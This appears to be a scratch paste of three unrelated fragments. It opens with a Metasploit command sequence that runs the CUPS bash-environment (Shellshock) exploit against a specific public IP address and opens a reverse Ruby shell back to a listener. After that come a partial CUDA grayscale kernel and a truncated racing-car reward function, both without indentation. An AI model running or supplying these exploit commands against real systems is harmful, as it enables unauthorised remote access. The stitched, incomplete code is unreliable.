sudo msfconsole
use exploit/multi/http/cups_bash_env_exec
set PAYLOAD cmd/unix/reverse_ruby
set RHOSTS 35.78.178.173
set RPORT 631
set LHOST 192.168.11.3
set LPORT 4444
exploit
from PIL import Image
from numba import cuda
import numpy as np
from tkinter import Tk, filedialog
@cuda.jit
def rgb_to_grayscale_kernel(d_input, d_output, width, height):
x, y = cuda.grid(2)
if x < width and y < height:
r = d_input[y, x, 0]
g = d_input[y, x, 1]
b = d_input[y, x, 2]
gray = 0.299 * r + 0.587 * g + 0.114 * b
d_output[y, x] = gray
def reward_function(params):
'''
Reward the agent to follow the center line more closely
'''
# Read input parameters
track_width = params['track_width']
distance_from_center = params['distance_from_center']
speed = params.get('speed', 1.0) # Get the speed of the car, default to 1.0 if not provided
# Calculate 3 markers that are at varying distances away from the center line
marker_1 = 0.1 * track_width
marker_2 = 0.25 * track_width
marker_3 = 0.5 * track_width
# Initialize reward
reward = 1e-3 # Small reward by default
# Give higher reward if the car is closer to center line
if distance_from_center <= marker_1:
reward = 1.0
elif distance_from_center <= marker_2:
reward = 0.5
elif distance_from_center <= marker_3:
reward = 0.1
# Speed reward adjustment: encourage higher speeds if close to center
# If the car is very close to the center, boost the reward based on speed
if distance_from_center <= marker_1 and speed > 2.0:
reward += 0.5 # Additional reward for maintaining high speed near the center